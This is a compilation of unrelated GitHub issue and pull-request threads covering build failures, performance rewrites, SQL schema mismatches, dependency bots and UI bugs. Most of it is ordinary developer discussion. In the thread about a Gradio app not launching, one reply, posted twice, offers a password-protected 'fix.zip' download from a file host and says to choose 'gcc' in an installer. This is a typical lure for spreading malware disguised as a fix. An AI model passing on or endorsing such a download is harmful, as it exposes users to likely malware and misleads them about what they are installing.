https://docs.oasis-open.org/cti/stix/v2.1/csprd01/stix-v2.1-csprd01.html#_Toc16070661

I have fixed this. Thanks for submitting the pull request.


create_id_breakdown is a bottleneck and needs rewriting

Given an 8 million line SF YAML, (631,286 row database), create_id_breakdown is taking too long. It is largely unoptimized and not brilliantly written. Any rewrite I believe should bring pretty decent efficiency gains. Lets have a look at what we can do.
Edit: For reference, without this function alone, the script is quicker by over an hour, and completes in 77 seconds. There may be other bottlenecks along the way as much relies on the output here, but one step at a time.
NB. Rewrite could be focused on better sqlite queries which do not seem to be a bottleneck at all. Or it could be focused on improving the data structures we're using.

There's a spare index described here: https://github.com/exponential-decay/sqlitefid/issues/9 that might be worth looking into for performance.


Added: Add useDisableRightClickOnTouchDevices hook

This pull request adds the @testing-library/react-hooks dependency and includes a new hook called useDisableRightClickOnTouchDevices. The hook prevents the context menu from appearing on touch devices.
Resolves #857

Nice!


Enabled Github Dependabot

This PR will enable the GitHub dependabot for this project.
Signed-off-by: dislbenn<EMAIL_ADDRESS>

/approve
/lgtm

Will merge this PR, since the changes are isolated from the test-e2e job.


Add a Gitter chat badge to README.md

rofrischmann/react-look now has a Chat Room on Gitter
@rofrischmann has just created a chat room. You can visit it here: https://gitter.im/rofrischmann/react-look.
This pull-request adds this badge to your README.md:

If my aim is a little off, please let me know.
Happy chatting.
PS: Click here if you would prefer not to receive automatic pull-requests from Gitter in future.

Actually already added those badges in another PR


Roll Flutter Engine from ceb452f89003 to 67b69c76160c (1 revision)

https://github.com/flutter/engine/compare/ceb452f89003...67b69c76160c
2024-07-22<EMAIL_ADDRESS>[Impeller] ensure fp rounding errors don't cause us to lose a row of pixels when computing text positions. (flutter/engine#54015)
If this roll has caused a breakage, revert this CL and stop the roller
using the controls here:
https://autoroll.skia.org/r/flutter-engine-flutter-autoroll
Please CC rmistry<EMAIL_ADDRESS>on the revert to ensure that a human
is aware of the problem.
To file a bug in Flutter: https://github.com/flutter/flutter/issues/new/choose
To report a problem with the AutoRoller itself, please file a bug:
https://issues.skia.org/issues/new?component=1389291&template=1850622
Documentation for the AutoRoller is here:
https://skia.googlesource.com/buildbot/+doc/main/autoroll/README.md

Commit queue failed; closing this roll.


Vimscript syntax highlighting of token 'sub' in strings broken when string on its own line

For example, take this snippet of Vimscript:
function! MyFunction()
  let string =
\ 'sub {'
  echomsg string
endfunction

call MyFunction()

This is how my Vim (7.4.1902) currently highlights it:

Note how sub is highlighted as if it were :substitute, and how the highlighting on subsequent lines is broken.

Fixed by https://github.com/vim/vim/commit/1ff14ba24c4d85c008d7abe5e140dbb497ffea8d.


Sends a request to the backend through a fetch. Issue #26

Made a call to the back end api with with a fetch. The fetch call was made with async/await. The code to insert cards from the api into the dom should be put inside this function. This function will run on page load, and when the reset button is hit.

Got 2 approvals, merging.


langchain: Fix for issue #14663

Description: Update to tools.py to allow aliased tool inputs to be included in the _parse_input function output
Issue: This fixes Issue #14663
Twitter handle: @consultchrisq

closing due to inactivity


Unable to add phonegap 8.2.2

Hello,
I am having a problem on windows 10.
Problem 1
I am unable to uninstall phonegap, when running his command:
npm uninstall --global phonegap
And then running this command:
phonegap -v
I am still seeing phonegap v7.1.1
The uninstall command does not work.
Problem 2:
I am unable to install phonegap 8.2.2, whatever I do the version 7.1.1 shows up all the time.
I tried:
npm install -g phonegap@latest
and
npm install -g<EMAIL_ADDRESS>

Can you run which phonegap and report back the output?
Also, what windows terminal are you using?  I recommend the git-bash terminal as it is identical to bash terminal on mac/linux

Sorry but this is a very old thread(January 24th). I have moved on since and dropped Phonegap.
Thank you.

sorry to hear that


Investigate javax.enterprise.inject.spi.CDI

https://docs.oracle.com/javaee/7/api/javax/enterprise/inject/spi/CDI.html
Does not seem necessary, but Yasson references it.

Unnecessary bloat


SQL Query incompatible with version 1.1.2 of SurfTimer

Hello,
SurfTimer updated to 1.1.2 some of your query are not up-to-date in dashboard_player.php at line 113.
SQL SELECT COUNT(mapname) AS map_count, SUM(bonuses) AS map_bonuses_count, SUM(stages) AS map_stages_count FROM ck_maptier
for exemple this refer to non existing field in ck_maptier. So that create error like this :
PHP Fatal error:  Uncaught Error: Call to a member function fetch_assoc() on bool in /var/www/surf/inc/pages/dashboard_player.php:113\nStack trace:\n#0 {main}\n  thrown in /var/www/surf/inc/pages/dashboard_player.php on line 113, referer: https://surf.xxx-xxx.fr/dashboard-player.php?id=xxxxxx
Best regards,
Jordan.

Can you send me your SQL dump please?
Over discord or email.

Hello,
I can if it is absolutely necessary but my database structure is the same as this :

As you can see :

I remain available,
Best regards,
Jordan.

It will be easier for me when you create dump for me if is that possible.

Hello,
I have just sent you the file by email.
Best Regards,
Jordan.

@BigTwoProduction does your db user have ability to ALTER TABLE?
Because i am adding 2 new colums:
https://github.com/surftimer/SurfTimer-Web/blob/d4bccd29ff3e8cd555e7410d16c426ac25fe67dc/inc/database.php#L14-L13
@Bara will be possible to add this into surftimer plugin?

Hello,
@KristianP26 I can do what ever i want. I have my own server. I'm root on it so I've got all the privileges:)
Remaining available,
Jordan.

@BigTwoProduction but are you using connection with root user?

@BigTwoProduction bdv
running thesse queries will fix your problem:
https://github.com/surftimer/SurfTimer-Web/blob/d4bccd29ff3e8cd555e7410d16c426ac25fe67dc/inc/database.php#L14-L13
https://github.com/surftimer/SurfTimer-Web/blob/d4bccd29ff3e8cd555e7410d16c426ac25fe67dc/inc/database.php#L20
https://github.com/surftimer/SurfTimer-Web/blob/d4bccd29ff3e8cd555e7410d16c426ac25fe67dc/inc/database.php#L27
https://github.com/surftimer/SurfTimer-Web/blob/d4bccd29ff3e8cd555e7410d16c426ac25fe67dc/inc/database.php#L34

@BigTwoProduction but are you using connection with root user?

Non Read only, I will run these queries with root account

@BigTwoProduction but are you using connection with root user?

Non Read only, I will run these queries with root account

That's the problem.

Initially the problem was not the read only account ;)
But I'm glad to see that it works now.
Suggestion instead of ADD why not use ADD IF NOT EXISTS ?

@Bara will be possible to add this into surftimer plugin?

No, why we should add columns which will never used officially?


Fix for test output filenames when using cucumber-jvm (both: xml and …

…html)
Hi,
Recently I came into similar troubles like described here: https://discuss.gradle.org/t/gradle-is-generating-files-with-their-names-too-big-in-cucumber-tests/8537/3
The problem is, that when using cucumber-jvm with junit, it returns for Scenario Outline list of parameter values as a class name. This leads to situations when filenames can contain illegal characters or are too long for operating system.
I've added use of FileUtils.toSafeFileName method in all cases when filename is generated, and also added limiting filename length.

@rrrekin Thank you for the pull request and sorry about the delay. Recently, Gradle team didn't have the capacity to deal with all pull requests in a timely fashion.
As for the proposed implementation it could be simpler and with less code duplication. Why not just shorten the file name in FileUtils.toSafeFileName()?

@rrrekin Since we haven't heard back from you for over a month I'm closing this pull request. If you come back to this feel free to submit a new PR or ping us to have this one reopened. If not it would be great if you could at least provide a self-contained reproducible sample that we could use to open a JIRA for it.


KeyError: 'CLRerNet: "CLRerHead: 'DynamicTopkAssigner is not in the bbox_assigner registry'"'

Hello,
I'm trying to regenerate your results, but I'm getting a KeyError while validating the model. It would be appreciable if you could help me debug this error.
Note: I followed the steps and solution provided in the #6 earlier.
Traceback (most recent call last):
File "tools/test.py", line 264, in
main()
File "tools/test.py", line 208, in main
model = build_detector(cfg.model, test_cfg=cfg.get('test_cfg'))
File "/home/sandlogic/anaconda3/envs/clrernet/lib/python3.8/site-packages/mmdet/models/builder.py", line 58, in build_detector
return DETECTORS.build(
File "/home/sandlogic/anaconda3/envs/clrernet/lib/python3.8/site-packages/mmcv/utils/registry.py", line 237, in build
return self.build_func(*args, **kwargs, registry=self)
File "/home/sandlogic/anaconda3/envs/clrernet/lib/python3.8/site-packages/mmcv/cnn/builder.py", line 27, in build_model_from_cfg
return build_from_cfg(cfg, registry, default_args)
File "/home/sandlogic/anaconda3/envs/clrernet/lib/python3.8/site-packages/mmcv/utils/registry.py", line 72, in build_from_cfg
raise type(e)(f'{obj_cls.name}: {e}')
KeyError: 'CLRerNet: "CLRerHead: 'DynamicTopkAssigner is not in the bbox_assigner registry'"'

Thank you.
DynamicTopkAssigner is imported via custom_import in your config file.
https://github.com/hirotomusiker/CLRerNet/blob/main/configs/clrernet/culane/clrernet_culane_dla34.py#L8-L17
Could you provide the command including the config file you used?

Thank you for the reply. I could resolve the issue.
The command I had used was: python3 tools/test.py configs/clrernet/culane/clrernet_culane_dla34_ema.py clrernet_culane_dla34_ema.pth and the issue was with the config file. libs.core.bbox and libs.core.hook are missing in [https://github.com/hirotomusiker/CLRerNet/blob/main/configs/clrernet/culane/clrernet_culane_dla34_ema.py].

Thank you, it should be corrected. We will add libs.core.bbox and libs.core.hook to clrernet_culane_dla34_ema.py in the next update 😄


fix: support converting repository pipelines

to the new shiny uses: syntax so that we can massively simplify pipelines
and share most of the work (e.g. image versions) into the version stream
and pipeline catalogs and only keep local overrides in git in each repo

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To complete the pull request process, please assign jstrachan
You can assign the PR to them by writing /assign @jstrachan in a comment when ready.
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To complete the pull request process, please assign jstrachan
You can assign the PR to them by writing /assign @jstrachan in a comment when ready.
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

/approve

/approve

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: jstrachan
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [jstrachan]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: jstrachan
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [jstrachan]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Change Toasty's text colour to #BE2533

Fixes #96

i try to pick the highlight color since the text goes on a black background. sorry for forgetting to mention that


Fix and suppress warnings.

Current coverage is 77.26%

Merging #113 into master will not affect coverage as of ef4c22e

@@            master    #113   diff @@
======================================
  Files           71      71
  Stmts         2278    2278
  Branches       271     271
  Methods
======================================
  Hit           1760    1760
  Partial         97      97
  Missed         421     421

Review entire Coverage Diff as of ef4c22e

Powered by Codecov. Updated on successful CI builds.

LGTM


Fixed yaml indent after tag

This fixes yaml indent after a tag
%\x\x is not valid regex and throws E678: Invalid character after %[dxouU]
I am not sure what the original intent with this code was

I don't think Nikolai is responsive, so let me include this fix.


CC0022 failed to show fix

This line have warning at new HttpClient(...):
_httpClient = _httpClient ?? new HttpClient(...)

When trying to show fixes, DisposableVariableNOtDisposedCodeFixProvider failed.
Also, if HttpClient should not be disposed, maybe move such usage to Messages (along with HttpClientHandler)?

Bug confirmed.

Closed on #917.


Javascript not rendered

Hi,
I integrated your demo code into my rails application but the callback javascript is not rendered to hide the modal upload view. Please what am I doing wrong?

@megablend hey sorry for the late response. But can you please elaborate on what error you are getting. Also if you could post the error from browser log it would be great.


[Bug]: Xamarin.Mac binaries are missing in Visual Studio 2022 17.3.5

Describe the bug 🐞
VS2022 17.3.5 Bug
Microsoft are aware of the issue and working on a fix.
Step to reproduce

Create a Xamarin.Mac20 targeted project
build will fail
Missing Xamarin.Mac.dll will be reported
See error

Reproduction repository
https://github.com/reactiveui/ReactiveUI
Expected behavior
Xamarin.Mac projects should build with VS 2022.
Patch has been applied to ReactiveUI to allow build.
Remove when Visual Studio Bug is fixed.
Screenshots 🖼
No response
IDE
Visual Studio 2022
Operating system
N/A
Version
N/A
Device
N/A
ReactiveUI Version
N/A
Additional information ℹ
Adding the following to a Xamarin.Mac project should allow it to build as a temporary workaround.
  <ItemGroup Condition=" $(TargetFramework.StartsWith('Xamarin.Mac')) ">     <Reference Include="Xamarin.Mac">       <HintPath Condition="Exists('c:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\IDE\Extensions\Xamarin.VisualStudio')">c:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\IDE\Extensions\Xamarin.VisualStudio\Xamarin.Mac.dll</HintPath>       <HintPath Condition="Exists('c:\Program Files\Microsoft Visual Studio\2022\Professional\Common7\IDE\Extensions\Xamarin.VisualStudio')">c:\Program Files\Microsoft Visual Studio\2022\Professional\Common7\IDE\Extensions\Xamarin.VisualStudio\Xamarin.Mac.dll</HintPath>       <HintPath Condition="Exists('c:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\Xamarin.VisualStudio')">c:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\Xamarin.VisualStudio\Xamarin.Mac.dll</HintPath>       <HintPath Condition="Exists('c:\Program Files\Microsoft Visual Studio\2022\Preview\Common7\IDE\Extensions\Xamarin.VisualStudio')">c:\Program Files\Microsoft Visual Studio\2022\Preview\Common7\IDE\Extensions\Xamarin.VisualStudio\Xamarin.Mac.dll</HintPath>     </Reference>   </ItemGroup>

If you use VS2022 17.4.0 Preview 5.0 this issue has been resolved

I still seem to be missing the Xamarin.Mac assembly as of VS2022 17.4.0 and 17.5.0 Preview 1 (both released today) - is the fix expected to have been included?

Apparently not unfortunately.
FYI - The latest release version of VS2022 17.4.0 can now be used to build RxUI, unfortunately they still haven't resolved the Xamarin.Mac reference issue, this problem is expected to be fixed as soon as Xcode 14.1 is released

Thank you, I believe Xcode 14.1 is out now, so I guess the fix should filter through soon

Fixed in VS2022 17.4.3


General Grievance: Watch mindsetmakers.in

General Grievance requests the watch of the watch_keyword mindsetmakers\.in. See the MS search here and the Stack Exchange search in text, in URLs, and in code.

mindsetmakers\.in has been seen in 1 true positive, 0 false positives, and 0 NAAs.

Approved by Jeff Schaller in Charcoal HQ


[Flaky-test] ZKOperatorTest.testMetadataUploadType

Error:  Failures:
Error:    ZKOperatorTest.testMetadataUploadType:178 Failed to meet condition in 30000ms, error message: Failed to delete segmentZkMetadata.
Example run:
https://github.com/apache/pinot/actions/runs/3597915154/jobs/6060171582

+1. another [INFO] org.apache.pinot.controller.helix.PinotControllerModeStatelessTest.testDualModeController  Time elapsed: 10.205 s
[INFO] org.apache.pinot.controller.helix.PinotControllerModeStatelessTest.testHelixOnlyController  Time elapsed: 3.716 s
[INFO] org.apache.pinot.controller.helix.PinotControllerModeStatelessTest.testPinotOnlyController  Time elapsed: 5.242 s
[INFO]
[INFO] Results:
[INFO]
Error:  Failures:
Error:    ZKOperatorTest.testMetadataUploadType:178 Failed to meet condition in 30000ms, error message: Failed to delete segmentZkMetadata.

Reproduced and saw different IS and EV, but controller didn't schedule a message to drop the segment in EV.
This should be the same Helix bug as in https://github.com/apache/helix/issues/331, which is claimed to be fixed, so we removed the workaround in the test in #9634


Running 'python3 app.py' doesn't launch Gradio web interface (please help)

@beecave-homelab  as title said, I've followed all the instructions and there's nothing wrong, except when I ran the last instruction 'python3 app.py' on powershell, nothing happened and there's no error printed, as showed in picture below:

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Update version to 1.1.23-2 on staging

Update version to 1.1.23-2

🚀 Deployed to staging by @OSBotify in version: 1.1.23-2 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
failure ❌

🍎 iOS 🍎
failure ❌

🕸 web 🕸
success ✅

🚀 Deployed to production by @francoisl in version: 1.1.24-8 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅


[BUG] Hex Borders + Backgrounds still visible in Fog of War

Describe the bug:
When the borders and "fill border contents" are enabled in Hex Token Size Support, tokens in the Fog of War still display their borders and fills.
Steps to reproduce:

Enable "Always Show Border" and "Fill Border Contents" in the Hex Token Size Support settings.
Create a new scene with Token Vision and Fog Exploration enabled.
Create a new wall.
Create a token on one side of the wall with Vision Enabled, Basic Vision, Vision Range set to be large enough to see most of the Scene.
Create another token on the other side of the wall.
Select the token from Step 4 (the one with vision enabled).
Observe that the borders + fill of the token from step 5 is visible from behind the wall, even if the token image itself is not.
Move the token from Step 4 so that it can reveal Fog of War behind the wall, then move it back to its initial position.
Observe that the Borders and Fill are still visible in the explored area.
Select the token from Step 5 and move it so that it's still obstructed by the wall, but in a different position.
Select the token from Step 4. Observe that it can see the border and fill from the moved token has changed position (So it's not just a "last known position" issue).

Expected Behavior:
A token hidden by fog of war or obstructed line of sight will also have its borders and fill hidden.
Screenshots:
Although this screenshot only includes allied tokens, it also affects neutral and hostile tokens.

Additional Information:
While this may not be supremely important for a system like Lancer (for which this module may have been initially created), it may affect other systems using Hex Size Support that do care about Fog of War.
Contact Info:
Valkyrion#6196

To add more on the issue - this is only for the GM as they have visibility of tokens no matter what. I feel like this is due to how everything is currently hovered technically when Always Show Borders is set to true. some more interesting logic involving checking controlled tokens may be the solution.